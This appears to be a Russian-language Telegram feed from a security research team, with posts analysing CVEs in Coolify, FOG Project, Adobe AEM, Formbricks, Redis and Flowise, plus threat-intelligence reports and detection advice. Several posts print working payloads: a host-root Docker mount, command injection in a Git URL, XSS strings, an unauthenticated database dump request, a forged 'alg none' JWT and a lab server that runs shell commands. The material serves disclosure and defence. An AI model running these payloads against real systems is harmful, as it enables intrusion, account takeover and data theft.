RCE RCE XSS В Coolify
В публичном доступе опубликованы три отчета PoC об уязвимостях в
💣 CVE-2025–34159 — платформа позволяет аутентифицированным пользователям с минимальными правами внедрять произвольные директивы
💣 CVE-2025–34161 — платформа позволяет аутентифицированным пользователям с ролью «Участник» выполнять произвольные команды-оболочки через поле Git Repository при создании проекта.
💣 CVE-2025–34157 — платформа уязвима к атаке с использованием хранимого межсайтового скриптинга (XSS) в процессе удаления проекта.
Для всех атак необходима аутентификация, что немного смягчает ее воздействие.
😬 Как эксплуатируется CVE-2025–34159
Для атаки злоумышленник должен совершить действия:
Создать новый проект (New Project) -> Добавить новый ресурс (Add New Resource) -> Выбрать в качестве ресурса Docker Compose Empty - > создать Docker Compose с подобным содержимым - > запустить деплой (Deploy)
▪️ /:/host:rw — монтирует root файловой системы хоста (/) в контейнер по пути /host;
▪️ echo 'LOL RCE' > /host/tmp/proof_rce.txt — создаст файл proof_rce.txt в директории /host/tmp/ контейнера, и этот тот же самый файл в директории /tmp/ на хосте.
😬 Как эксплуатируется CVE-2025–34161
Для атаки злоумышленник должен совершить действия:
Создать новый проект (New Project) -> Добавить новый ресурс (Add New Resource) -> Выбрать в качестве ресурса Private Repository (with GitHub App) - > В поле HTML Url ввести
😬 Как эксплуатируется CVE-2025–34157
Для атаки злоумышленник должен совершить действия:
Создать новый проект (New Project) -> задать имя(Name), например
В качестве примера на рисунке показана CVE-2025–34159 (Скриншот 1) и CVE-2025–34157 (Скриншот 2).
😬 Как защищаться
CVE-2025–34159 — можно написать правило, которое будет блокировать запросы на конечную точку
CVE-2025–34161 — это поведение потенциально допустимо для пользователей с высокими правами. Поэтому правило на передачу
CVE-2025–34157 — большинство современных WAF имеют большой набор сигнатур по выявлению XSS. Но также можно написать правило, опираясь на позитивную модель. Так как речь идет об имени проекта то блокировать передачу
В публичном доступе опубликованы три отчета PoC об уязвимостях в
coolLabs. Все три уязвимости имеют критический уровень опасности, уязвимы версии до 4.0.0-beta.420.7.Docker Compose при создании проекта. Злоумышленник создает вредоносную службу, которая монтирует корневую файловую систему хоста, и получает полный доступ с правами root к серверу.Для всех атак необходима аутентификация, что немного смягчает ее воздействие.
Для атаки злоумышленник должен совершить действия:
Создать новый проект (New Project) -> Добавить новый ресурс (Add New Resource) -> Выбрать в качестве ресурса Docker Compose Empty - > создать Docker Compose с подобным содержимым - > запустить деплой (Deploy)
version: '3.8'
services:
poc-host-root:
image: alpine:3.19
tty: true
volumes:
- /:/host:rw
command: >
sh -c "
echo 'LOL RCE' > /host/tmp/proof_rce.txt
"
▪️ /:/host:rw — монтирует root файловой системы хоста (/) в контейнер по пути /host;
▪️ echo 'LOL RCE' > /host/tmp/proof_rce.txt — создаст файл proof_rce.txt в директории /host/tmp/ контейнера, и этот тот же самый файл в директории /tmp/ на хосте.
Для атаки злоумышленник должен совершить действия:
Создать новый проект (New Project) -> Добавить новый ресурс (Add New Resource) -> Выбрать в качестве ресурса Private Repository (with GitHub App) - > В поле HTML Url ввести
https://github.com/XXX/XXXX.git; ls #; - > выбрать созданный ресурс - > запустить деплой (Deploy) Для атаки злоумышленник должен совершить действия:
Создать новый проект (New Project) -> задать имя(Name), например
<img src = "x" onerror = alert("XSS ")>
При удалении такого проекта администратор или владелец получит выполнение XSS. При удалении XSS скрипт попадает в окно вывода ошибки. В качестве примера на рисунке показана CVE-2025–34159 (Скриншот 1) и CVE-2025–34157 (Скриншот 2).
CVE-2025–34159 — можно написать правило, которое будет блокировать запросы на конечную точку
/livewire/update, если в параметре JSON updates передаются спец символы, например: ; | && < > ` { }"updates":{"github_app.html_url":"https://github.com:fake/repo.git; ls -la #;"}CVE-2025–34161 — это поведение потенциально допустимо для пользователей с высокими правами. Поэтому правило на передачу
command может привести к ложным сработкам. Рекомендуем обновиться или ограничить как передачу команд, так и монтирование директорий для всех пользователей.CVE-2025–34157 — большинство современных WAF имеют большой набор сигнатур по выявлению XSS. Но также можно написать правило, опираясь на позитивную модель. Так как речь идет об имени проекта то блокировать передачу
; | & < > ` { } , - = + Конечная точка - /livewire/update, Json параметр:"updates":{"name":"<img src = \"x\" onerror = alert(\"RCE!\")>","denoscription":"<img src = \"x\" onerror = alert(\"RCE!\")>"}Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👍6❤5⚡2❤🔥1
Solar 4RAYS FlagHunt: опубликовали разборы заданий 😬
Недавно рассказывали про наш CTF Solar 4RAYS FlagHunt, который готовили для OFFZONE. Теперь публикуем подробный разбор всех 11 тасков. Если решали, но не решили, то читайте в нашем блоге подробности.
Недавно рассказывали про наш CTF Solar 4RAYS FlagHunt, который готовили для OFFZONE. Теперь публикуем подробный разбор всех 11 тасков. Если решали, но не решили, то читайте в нашем блоге подробности.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9⚡5❤3👍3
Одна уязвимость три проблемы — CVE-2025-58443
CVE-2025–58443 — это уязвимость обхода авторизации в FOG Project. Версии 1.5.10.1673 и ниже уязвимы.
😬 Метрики
Злоумышленник может:
1️⃣ выполнить неаутентифицированный дамп базы данных;
2️⃣ листинг директорий;
3️⃣ выполнить SSRF-атаку, а также Open redirection.
😬 Подробнее
Уязвимость заключается в том, что при обращении к конечным точкам не проверяется авторизация. POST запрос на данную конечную точку
Дополнение: данный URI так же уязвим к RCE в версии ≤ 1.5.10.34. RCE передается через аналогичный POST запрос на
☀️ GET запрос на
☀️ GET запрос на
Сейчас известно только о трех уязвимых точках. Процесс эксплуатации — на скриншоте.
😬 Как защищаться
1) Обновиться.
2) Закрыть доступ к
CVE-2025–58443 — это уязвимость обхода авторизации в FOG Project. Версии 1.5.10.1673 и ниже уязвимы.
Base Core: 9.9
CWE: CWE-306 CWE-287
Злоумышленник может:
Уязвимость заключается в том, что при обращении к конечным точкам не проверяется авторизация. POST запрос на данную конечную точку
/fog/management/export.php приведет к извлечению базы.POST /fog/management/export.php HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
fogguiuser=&fogguipass=&nojson=4&export=3
Дополнение: данный URI так же уязвим к RCE в версии ≤ 1.5.10.34. RCE передается через аналогичный POST запрос на
/fog/management/export.php?filename=$(id)&type=pdf./fog/service/getversion.php?url=<PATH> вызовет SSRF./fog/status/getfiles.php?path=<DIR> вызовет листинг каталога. Сейчас известно только о трех уязвимых точках. Процесс эксплуатации — на скриншоте.
1) Обновиться.
2) Закрыть доступ к
/fog/service/, /fog/status/, /fog/management/ для внешних IP, например, правилами на WAF/IDS.Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6👍3❤2🤔1
Приходите нас послушать на VolgaCTF
До 19 сентября в Самаре идет VolgaCTF — ежегодные международные соревнования по информационной безопасности. В программе конференции есть доклад от Solar 4RAYS — «Байки Blue Team: как атакуют профессионалы (и не только)». Об этом расскажут:
✅ Денис Чернов, инженер группы расследований инцидентов;
✅ Дмитрий Маричев, аналитик группы анализа вредоносного ПО в Solar 4RAYS.
Приходите 17 сентября в 12:30 в отель «Лотте». Ответим на все вопросы😀
До 19 сентября в Самаре идет VolgaCTF — ежегодные международные соревнования по информационной безопасности. В программе конференции есть доклад от Solar 4RAYS — «Байки Blue Team: как атакуют профессионалы (и не только)». Об этом расскажут:
Приходите 17 сентября в 12:30 в отель «Лотте». Ответим на все вопросы
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14❤13👌7
NGC6061: серия фишинговых атак на госсектор
С сентября 2024 года и по текущий момент наблюдаем серию фишинговых рассылок на российские организации из госсектора. Эту кампанию мы причисляем к деятельности пока еще неизвестного киберпреступного кластера NGC6061.
1️⃣ Для обхода защиты злоумышленники используют запароленные архивы.
2️⃣ Атака начинается с self-extracting LNK-файлов, запускающих powershell-скрипты для декодирования вредоносных компонентов.
3️⃣ В качестве приманок используют документы со встроенным механизмом профилирования целей.
4️⃣ Конечная нагрузка может быть в виде Reverse Shell или Metasploit TCP Reverse.
Подробное описание фишинговых писем и индикаторы компрометации ищите в статье.
С сентября 2024 года и по текущий момент наблюдаем серию фишинговых рассылок на российские организации из госсектора. Эту кампанию мы причисляем к деятельности пока еще неизвестного киберпреступного кластера NGC6061.
Подробное описание фишинговых писем и индикаторы компрометации ищите в статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12🤔6👍4👾2
Археология и Threat Intelligence
Киберразведка иногда напоминает археологию, потому что помогает обнаружить уникальные артефакты не в новых инцидентах, а в прошлом. Подобные флешбэки в некоторых случаях помогают выявить неожиданные связи между инцидентами, которые раньше не были связаны. Или позволяют найти старые инструменты, которые до сих пор могут использовать в атаках. Сегодня мы делимся примером таких раскопок.
🫡 В последнее время видим много публикаций и выступлений о группировке Fairy Trickster (Head Mare | PhantomCore | Rainbow Hyena) от разных вендоров, от нас в том числе. И мы нашли еще одну фишинговую рассылку FairyTrickster, а также вредоносный инструмент, который назвали PhantomSender.
В одном из своих отчетов эксперты F6 описали цепочку атаки 2022 года, в которой с помощью дроппера запускался StatRAT. Дроппер был приманкой для проверки сети. Мы уже видели и писали о фишинговой кампании, в которой распространялся похожий валидатор для проверки сети.
Примечательно, что злоумышленники не использовали вложения, а распространяли стилер PhantomSender через фишинговый сайт
В фишинговом письме злоумышленники писали от имени Роскомнадзора, как и в файле-приманке, который анализировали F6. Атаковали примерно в одно и то же время. Файлы-приманки обманывали по одному принципу — отображали сообщение об успешности проверки сетевого соединения (скриншот 2).
💣 Так мы поняли, что PhantomSender — тоже инструмент Fairy Trickster!
Мы обнаружили еще несколько более новых версий инструмента, которые уже были стилизованы под установщик сертификата. По сравнению с первой версией вредонос научился собирать больше типов файлов и использовать HTTP-протокол для эксфильтрации вместо FTP. Среди новых типов файлов — .dst, .psw, .xps, .dst, .sok. Общее количество собираемых типов возросло до 30.
😬 Киберразведка — это инструмент, который существует не только в настоящем, но и в прошлом. Поэтому, чтобы лучше защищать клиентов в настоящем и будущем, советуем не пренебрегать такими «археологическими» раскопками!
IOC 2022 г.
PDB-пути:
C2
Архивы
Киберразведка иногда напоминает археологию, потому что помогает обнаружить уникальные артефакты не в новых инцидентах, а в прошлом. Подобные флешбэки в некоторых случаях помогают выявить неожиданные связи между инцидентами, которые раньше не были связаны. Или позволяют найти старые инструменты, которые до сих пор могут использовать в атаках. Сегодня мы делимся примером таких раскопок.
В одном из своих отчетов эксперты F6 описали цепочку атаки 2022 года, в которой с помощью дроппера запускался StatRAT. Дроппер был приманкой для проверки сети. Мы уже видели и писали о фишинговой кампании, в которой распространялся похожий валидатор для проверки сети.
Примечательно, что злоумышленники не использовали вложения, а распространяли стилер PhantomSender через фишинговый сайт
minspecsvyaz.ru (скриншот 1). Валидатор загружался по ссылкам вида:http://minspecsvyaz.ru/validator
http://minspecsvyaz.ru/validator?v=2b24c
https://minspecsvyaz.ru/Validator.exe
В фишинговом письме злоумышленники писали от имени Роскомнадзора, как и в файле-приманке, который анализировали F6. Атаковали примерно в одно и то же время. Файлы-приманки обманывали по одному принципу — отображали сообщение об успешности проверки сетевого соединения (скриншот 2).
Мы обнаружили еще несколько более новых версий инструмента, которые уже были стилизованы под установщик сертификата. По сравнению с первой версией вредонос научился собирать больше типов файлов и использовать HTTP-протокол для эксфильтрации вместо FTP. Среди новых типов файлов — .dst, .psw, .xps, .dst, .sok. Общее количество собираемых типов возросло до 30.
IOC 2022 г.
PDB-пути:
C:\my\r\zpskch02\zpskch\obj\Release\Validator.pdb
C:\Users\1\source\repos\hackamakafon\SocketClient2\TestFirstIteration\obj\Release\Validator.pdb
C2
ftp://st24308.ispot.cc
ftp://st23419.ispot.cc
https://backup5.abc-server.com/webdav/user40421/
Архивы
bc05caef56633988a523d394ead5b81b
9ae7c71825bfb70221548a60536fd36f
a895fd1df8bc7c0788a8eb4ffb282cfa
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15🔥6❤5🥰1😁1🤔1
Детектируем антифорензику в NTFS: как превратить старания злоумышленников в преимущество при расследовании
Последний год видим, что стало больше случаев применения такой техники антифорензики, как👀
Чем опасен Timestomping?
👍 При просмотре событий в виде таймлайнов файл с подмененной меткой может быть вне окрестности активности атакующих и попросту пропущен.
👍 Часто дата, на которую совершается подмена, соответствует легитимным файлам, среди которых пытаются скрыть что-то плохое. Найти вредоносный имплант в окрестности легитимной активности — не простая задача.
Как обнаружить подмену (только учитывайте, что некоторые легитимные файлы часто тоже имеют неверную дату создания). И давно рекомендуют, что при анализе файлов нужно смотреть именно на
Но что делать, если
1️⃣ Проверь нули. Интересный факт: при подмене меток
2️⃣ Четвертый не лишний. В NTFS 4 пары временных меток: Creation, Modification, Access и Entry . Подмену временной метки
Вот это уже похоже на детект:
3️⃣ Иногда атакующие любят создавать директории для своего вредоносного ПО, а при выполнении техники Timestomping напрочь забывают, что дата создания директории соответствует дате размещения их собственного «скрытого» файла. Это касается и времени модификации легитимных директорий.
Не живите в иллюзии, что какие-то техники остались забытыми: напишите на них детекты, даже если они будут не идеальными. Однажды детекты помогут вам быстрее обнаружить злоумышленников при расследовании.
Последний год видим, что стало больше случаев применения такой техники антифорензики, как
Timestomping (Т1070.006) или подмена временных меток у файлов. Если модификацией $STANDARD_INFORMATION ($SI) в Windows уже никого не удивить, то подмена временных меток $FILE_NAME ($FN) в NTFS достаточно долго была редким явлением, которое находили лишь в некоторых APT-атаках с участием азиатских групп. Но теперь эту технику используют в том числе группировки из восточной Европы, которые занимаются шифрованием. Значит техника подмены $FN пошла в массы Чем опасен Timestomping?
Как обнаружить подмену
$SI, уже давно пишут в учебниках по DFIR — можно просто сравнить временную метку создания файла из $SI с меткой создания из $FN. Если значения расходятся, делаем вывод: $SI — не настоящее время создания файла$FN Creation, чтобы избежать проблем с техникой Timestomping.Но что делать, если
$FN метки тоже подменены? $FN атакующие не хотят или не могут поменять миллисекунды у временных меток, из-за чего все модифицированные метки будут без миллисекунд. Как гарантированный детект работает не очень хорошо — будут ложные срабатывания, но что вам мешает посмотреть детекты в окрестности инцидента?$FN Entry мы не видели ни разу. Возможно, про неё все забыли. Все временные метки $FN обычно хранят одно и то же значение, соответственно, истинную дату создания файла можно восстановить именно благодаря значению из $FN Entry. Но при условии, что файл не был перезаписан второй раз.Вот это уже похоже на детект:
Если в записи MFT в $FN миллисекунды Creation, Modification и Access равны нулю, а миллескунды Entry не равны нулю, то вероятна подмена $FN меток.
Не живите в иллюзии, что какие-то техники остались забытыми: напишите на них детекты, даже если они будут не идеальными. Однажды детекты помогут вам быстрее обнаружить злоумышленников при расследовании.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15🔥13❤7🤯4👾1
Ловите небольшую лабораторную работу, в которой мы промоделируем
CVE-2025-49533 — это уязвимость десериализации Java в модуле FormServer. Сервлет обрабатывает данные от пользователя, декодируя и десериализуя их без проверки в Adobe Experience Manager версии >= 6.5.23. Это может позволить злоумышленникам отправлять вредоносные данные, чтобы выполнять команды на сервере.
😬 Реальная эксплуатация будет выглядеть так:
Эта полезная нагрузка — результат выполнения:
Хоть уязвимость вызвана в модуле Java, но мы будем использовать python, чтобы проще ее объяснить и смоделировать.
💡 Важное уточнение: этот код — эмуляция десериализации, реальных объектов не создает и функции не вызывает.
Создадим шаблон полезной нагрузки.
RCE — это результат выполнения команды.
Итоговый payload:
Pуthon сервер:
При отправке нашего payload на сервере произойдет:
1️⃣ отчистка от тегов <@urlencode> <\@urlencode>;
2️⃣ декодирование URL;
3️⃣ декодирование в Base64;
4️⃣ распаковка gzip;
5️⃣ выполнение RCE.
😬 Как защититься:
1) При реальной эксплуатации запрос будет представлять собой Base64 строку в тегах
2) Base64 строка будет начинаться с
3) Полезная нагрузка передается методом
4) Конечная точка
Ставьте ❤️, если хотите видеть больше лабораторных работ в канале.
CVE-2025-49533. CVE-2025-49533 — это уязвимость десериализации Java в модуле FormServer. Сервлет обрабатывает данные от пользователя, декодируя и десериализуя их без проверки в Adobe Experience Manager версии >= 6.5.23. Это может позволить злоумышленникам отправлять вредоносные данные, чтобы выполнять команды на сервере.
/FormServer/servlet/GetDocumentServlet?serDoc=<@urlencode>H4sIAAAAAAAAA61WS28bVRg949dMJk6auknTppT03SRtZ5q45NGkTRu3adwaGnCaSrhSdD252NPYM9OZO41dCRas+AFsWCIhddFuWlCpkEBiCQtWrGCDhGCBBBs2SDy/…….</@urlencode>
Эта полезная нагрузка — результат выполнения:
java -DproperXalan=true -jar ysoserial-all.jar CommonsBeanutils1 "<RCE>" | gzip | base64 -w0
Хоть уязвимость вызвана в модуле Java, но мы будем использовать python, чтобы проще ее объяснить и смоделировать.
Создадим шаблон полезной нагрузки.
<@urlencode> RCE </@urlencode>
RCE — это результат выполнения команды.
echo -n "nslookup google.com" | gzip | base64 -w0
Итоговый payload:
<@urlencode>H4sIAAAAAAAAA8srzsnPzy4tUEjPz0/PSdVLzs8FAOZL2oUTAAAA</@urlencode>
Pуthon сервер:
import urllib.parse
import base64
import gzip
import io
from flask import Flask, request
import subprocess
import logging
app = Flask(__name__)
# Set up logging
logging.basicConfig(
filename='exploit.log',
level=logging.INFO,
format='[%(asctime)s] %(message)s',
)
@app.route('/rce')
def debug():
payload = request.args.get('cmd')
if payload:
if payload.startswith("<@urlencode>") and payload.endswith("</@urlencode>"):
payload = payload[len("<@urlencode>"):-len("</@urlencode>")]
print(payload)
decoded_url = urllib.parse.unquote_plus(payload)
print(decoded_url)
decoded_bytes = base64.b64decode(decoded_url)
print(decoded_bytes)
try:
with gzip.GzipFile(fileobj=io.BytesIO(decoded_bytes)) as f:
decompressed = f.read()
except Exception:
decompressed = decoded_bytes
ascii_text = ''.join([chr(b) if 32 <= b <= 126 else '.' for b in decompressed])
try:
cmd = ascii_text[:1000]
output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, text=True)
return f"<pre>{output}</pre>"
except subprocess.CalledProcessError as e:
return f"<pre>Error:\n{e.output}</pre>"
else:
return "example /rce?cmd=<@urlencode>H4sIAAAAAAAAA8srzsnPzy4tUEjPz0/PSdVLzs8FAOZL2oUTAAAA</@urlencode>", 400
if __name__ == '__main__':
app.run(host='0.0.0.0', port=4502, debug=True)
При отправке нашего payload на сервере произойдет:
1) При реальной эксплуатации запрос будет представлять собой Base64 строку в тегах
<@urlencode> </@urlencode>.2) Base64 строка будет начинаться с
H4s, что говорит о формате gzip .3) Полезная нагрузка передается методом
GET .4) Конечная точка
/FormServer/servlet/GetDocumentServlet .Ставьте ❤️, если хотите видеть больше лабораторных работ в канале.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤46🔥9👍5👾1
JWT "alg none" vulnerability — CVE-2025-59934
CVE-2025-59934 — уязвимость в Formbricks, которая связана с процедурой валидации токенов. Она только декодирует JWT без проверки их подписей, что позволяет обходить авторизацию или сбрасывать пароль. Уязвимы версии до 4.0.1.
Formbricks — платформа с открытым исходным кодом для сбора отзывов и управления пользовательским опытом. Имеет более 11 тысяч звезд на github.
🫡 Метрики
🫡 Кратко о JWT
JWT (JSON Web Token) — токен авторизации, который состоит из следующих компонентов:
✅ Header — информация об алгоритме и типе токена;
✅ Payload — полезные данные, например ID пользователя, роли;
✅ Signature — защита от подделки (цифровая подпись).
Всё это кодируется в Base64Url :
🫡 Подробнее
В файле apps/web/lib/jwt.ts до патча существовал такой участок кода:
jwt.decode() не проверяет подпись токена — функция просто берёт base64-данные из токена и превращает их в объект.
То есть если взять любой существующий userId из базы и создать токен вида:
jwt.decode() его спокойно примет. И если пользователь существует, возвращает валидный JwtPayload.
Другими словами, проверка подлинности (verify) обходится — токен можно «подделать» вручную.
Важно: для атаки необходимо знать user.id. Этот идентификатор хранится в базе данных PostgreSQL.
🫡 Эксплуатация
Создаем JWT вида
base64Encode:
base64Decode:
Отправляем запрос:
Получает ответ от сервера:
🫡 Как защищаться
Если на WAF можно декодировать JWT в параметре запроса, то настроить его так, чтобы запросы токенами с
Если такой возможности нет, то можно воспользоваться подобным регулярным выражением, которые бы проверяло целостность JWT
CVE-2025-59934 — уязвимость в Formbricks, которая связана с процедурой валидации токенов. Она только декодирует JWT без проверки их подписей, что позволяет обходить авторизацию или сбрасывать пароль. Уязвимы версии до 4.0.1.
Base Score: 9,4 Critical
CWE: 345, 287, 347
JWT (JSON Web Token) — токен авторизации, который состоит из следующих компонентов:
Всё это кодируется в Base64Url :
xxxxx.yyyyy.zzzzz
В файле apps/web/lib/jwt.ts до патча существовал такой участок кода:
export const verifyToken = async (token: string): Promise<JwtPayload> => {
// First decode to get the ID
const decoded = jwt.decode(token);
const payload: JwtPayload = decoded as JwtPayload;
if (!payload) {
throw new Error("Token is invalid");
} jwt.decode() не проверяет подпись токена — функция просто берёт base64-данные из токена и превращает их в объект.
То есть если взять любой существующий userId из базы и создать токен вида:
header = {"alg":"none","typ":"JWT"}
payload = {"id":"cmg52lkge0000pd01oq32fjhe"}jwt.decode() его спокойно примет. И если пользователь существует, возвращает валидный JwtPayload.
Другими словами, проверка подлинности (verify) обходится — токен можно «подделать» вручную.
Важно: для атаки необходимо знать user.id. Этот идентификатор хранится в базе данных PostgreSQL.
Создаем JWT вида
base64Encode:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6ImNtZzUybGtnZTAwMDBwZDAxb3EzMmZqaGUifQ.
base64Decode:
{
"alg": "none",
"typ": "JWT"
}
{
"id": "cmg52lkge0000pd01oq32fjhe"
}Отправляем запрос:
http://localhost:3001/auth/forgot-password/reset?token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6ImNtZzUybGtnZTAwMDBwZDAxb3EzMmZqaGUifQ.
Получает ответ от сервера:
0:{"a":"$@1","f":"","b":"Ap_lGlUnNFOHjKjBaGekh"}
1:{"data":{"success":true}}Если на WAF можно декодировать JWT в параметре запроса, то настроить его так, чтобы запросы токенами с
"alg":"none" блокировались.Если такой возможности нет, то можно воспользоваться подобным регулярным выражением, которые бы проверяло целостность JWT
^[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+\.$.Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👍8❤5🙉1👾1
NGC4141: атака на кастомные веб-приложения
Публичные веб-приложения можно строить на распространенном ПО, например WordPress, Bitrix, Tilda. Или с помощью кастомных решений. С точки зрения безопасности оба подхода имеют свои плюсы и минусы.
😬 Минус распространенного ПО:
— обязательно появятся публичные эксплойты под уязвимости в самом приложении или в одном из плагинов для него;
— через них будут атаковать.
😬 Плюсы такого ПО:
— при правильной конфигурации обеспечивает предсказуемый уровень защищенности;
— даже для новых уязвимостей в ПО можно проводить компенсирующие меры.
У кастомного решения, которое разработали с нуля или на основе распространенного ПО, тоже есть свои плюсы и минусы.
😬 Плюсы:
— скорее всего, эксплойтов в открытом доступе не будет;
— атаковать такую инфраструктуру сложнее.
😬 Минусы:
— непросто спрогнозировать защищенность;
— если инцидент произойдет, обнаружить и расследовать проникновение может быть сложнее.
Именно о такой атаке рассказываем в нашей новой статье про кластер NGC4141. Атакующие(предположительно из Восточной Азии) шпионили за российской госорганизацией. Использовали простые, но эффективные веб-шеллы, обошли АВПО и WAF. Все подробности в блоге.
Публичные веб-приложения можно строить на распространенном ПО, например WordPress, Bitrix, Tilda. Или с помощью кастомных решений. С точки зрения безопасности оба подхода имеют свои плюсы и минусы.
— обязательно появятся публичные эксплойты под уязвимости в самом приложении или в одном из плагинов для него;
— через них будут атаковать.
— при правильной конфигурации обеспечивает предсказуемый уровень защищенности;
— даже для новых уязвимостей в ПО можно проводить компенсирующие меры.
У кастомного решения, которое разработали с нуля или на основе распространенного ПО, тоже есть свои плюсы и минусы.
— скорее всего, эксплойтов в открытом доступе не будет;
— атаковать такую инфраструктуру сложнее.
— непросто спрогнозировать защищенность;
— если инцидент произойдет, обнаружить и расследовать проникновение может быть сложнее.
Именно о такой атаке рассказываем в нашей новой статье про кластер NGC4141. Атакующие
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍6❤2🤨2👾1
Сборщик мусора ломает безопасность Redis
CVE‑2025‑49844 — это критическая уязвимость с условным названием RediShell. Она затрагивает Redis в различных ветках до версий 7.2.11 / 7.4.6 / 8.0.4 / 8.2.1 и связана со встроенным интерпретатором Lua.
😬 Метрики
😬 Суть проблемы
Ошибка реализуется как Use‑After‑Free (UAF) — злоумышленник с правом выполнять Lua‑скрипты (авторизованный пользователь или злоумышленник на незащищённом экземпляре Redis) может сформировать скрипт, который:
— манипулирует сборщиком мусора (GC);
— освобождает ещё используемую структуру.
Это приводит к повреждению памяти -> позволяет выйти из песочницы Lua -> выполнить произвольный код на хосте. Поскольку большинство экземпляров Redis допускают выполнение Lua‑скриптов через команду EVAL, атакующий может удалённо отправить вредоносный скрипт и добиться RCE.
😬 Причина уязвимости
Redis использует Lua 5.1, чтобы выполнять пользовательские скрипты. Lua при загрузке фрагментов кода (chunk(ов)) присваивает фрагментам имя. Если во время разбора кода запустить сборщик мусора (GC), то память с этим именем может быть освобождена -> парсер продолжит пользоваться невалидным именем, а это Use-After-Free -> контроль памяти и перехват выполнения.
😬 Сценарий возможной атаки
1. Атакующий подключается к Redis.
2. Отправляет специально сформированный Lua‑скрипт через команду EVAL, который использует финализаторы и сборку мусора для создания UAF.
3. После получения примитивов UAF злоумышленник может выполнить дополнительные Lua‑команды, которые позволяют ему выйти из песочницы, например:
и т. п., затем загрузить произвольную библиотеку и выполнить машинный код, получив полный доступ к хосту.
😬 Способы защититься
Обновить Redis — уже выпущены патчи, где разработчики корректно привязали имя фрагмента к стеку, что исключает UAF.
Если не получается обновить, можно сделать следующее:
— ограничить доступ к Redis — сервер предназначен для работы в доверенной сети;
— настроить аутентификацию и ACL — включить сильный пароль в директиве requirepass, а также использовать механизмы ACL для запрета выполнения Lua‑скриптов неподдерживаемыми пользователями;
— отключить опасные команды EVAL и EVALSHA путём их переименования.
😬 Мониторинг и обнаружение
Выявить атаку в сети можно через анализ содержимого команды EVAL, которая приходит извне по протоколу RESP. Правило IDS, которое обнаруживает отправку команды EVAL, должно содержать в себе признаки триггера UAF — вызов collectgarbage('collect') и определение метода __gc, либо попытку использования опасных функций, таких как:
Правило может быть ориентировано на TCP‑трафик к стандартным портам Redis (6379,6380).
CVE‑2025‑49844 — это критическая уязвимость с условным названием RediShell. Она затрагивает Redis в различных ветках до версий 7.2.11 / 7.4.6 / 8.0.4 / 8.2.1 и связана со встроенным интерпретатором Lua.
Base Score: 9.9 (Critical)
CWE: 416
Ошибка реализуется как Use‑After‑Free (UAF) — злоумышленник с правом выполнять Lua‑скрипты (авторизованный пользователь или злоумышленник на незащищённом экземпляре Redis) может сформировать скрипт, который:
— манипулирует сборщиком мусора (GC);
— освобождает ещё используемую структуру.
Это приводит к повреждению памяти -> позволяет выйти из песочницы Lua -> выполнить произвольный код на хосте. Поскольку большинство экземпляров Redis допускают выполнение Lua‑скриптов через команду EVAL, атакующий может удалённо отправить вредоносный скрипт и добиться RCE.
Redis использует Lua 5.1, чтобы выполнять пользовательские скрипты. Lua при загрузке фрагментов кода (chunk(ов)) присваивает фрагментам имя. Если во время разбора кода запустить сборщик мусора (GC), то память с этим именем может быть освобождена -> парсер продолжит пользоваться невалидным именем, а это Use-After-Free -> контроль памяти и перехват выполнения.
1. Атакующий подключается к Redis.
2. Отправляет специально сформированный Lua‑скрипт через команду EVAL, который использует финализаторы и сборку мусора для создания UAF.
3. После получения примитивов UAF злоумышленник может выполнить дополнительные Lua‑команды, которые позволяют ему выйти из песочницы, например:
package.loadlib, io.popen, os.execute
и т. п., затем загрузить произвольную библиотеку и выполнить машинный код, получив полный доступ к хосту.
Обновить Redis — уже выпущены патчи, где разработчики корректно привязали имя фрагмента к стеку, что исключает UAF.
Если не получается обновить, можно сделать следующее:
— ограничить доступ к Redis — сервер предназначен для работы в доверенной сети;
— настроить аутентификацию и ACL — включить сильный пароль в директиве requirepass, а также использовать механизмы ACL для запрета выполнения Lua‑скриптов неподдерживаемыми пользователями;
— отключить опасные команды EVAL и EVALSHA путём их переименования.
Выявить атаку в сети можно через анализ содержимого команды EVAL, которая приходит извне по протоколу RESP. Правило IDS, которое обнаруживает отправку команды EVAL, должно содержать в себе признаки триггера UAF — вызов collectgarbage('collect') и определение метода __gc, либо попытку использования опасных функций, таких как:
package.loadlib, io.popen, os.execute
Правило может быть ориентировано на TCP‑трафик к стандартным портам Redis (6379,6380).
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14👍6⚡3❤1👾1
Сбросить пароль я тебе дам и токен я тебе тоже сразу дам — CVE-2025-58434
CVE-2025–58434 — раскрытие токена сброса пароля, которое приводит к захвату учетной записи в Flowise в версиях <=3.0.5
CVE-2025-59528 позволяет аутентифицированным пользователям удаленно выполнять код (RCE) в Flowise в версиях <=3.0.5.
CVE-2025-61687/CVE-2025-26319 позволяет аутентифицированным пользователям загружать произвольные файлы без надлежащей проверки в Flowise в версиях <=3.0.7.
💡 Настоятельно рекомендуем обновиться.
👍 Метрики: CVE-2025–58434
👍 Метрики:CVE-2025-59528
👍 Метрики:CVE-2025-61687
👍 Об уязвимости
Конечная точка
json передает email-адрес, на который нужно отправить письмо с приватным токеном для смены пароля. На запрос сервер формирует ответ, который раскрывает приватный токен в теле ответа в параметре tempToken.
👍 Атака по шагам
Уточнение: для атаки необходимо знать действительный email-адрес.
1) Отправляют запрос на сброс пароля.
2) С помощью BurpSuite перехватывают ответ.
3) Извлекают приватный токен (tempToken) из тела ответа.
4) Формируют ссылку на активацию токена
5) Сбрасывают пароль на /api/v1/account/reset-password.
6) Получают ответ с кодом 201, который говорит об успешном изменении пароля.
👍 Возможные последствия
Уязвимость становится в разы опаснее, учитывая CVE-2025-59528 и CVE-2025-61687.
CVE-2025-59528
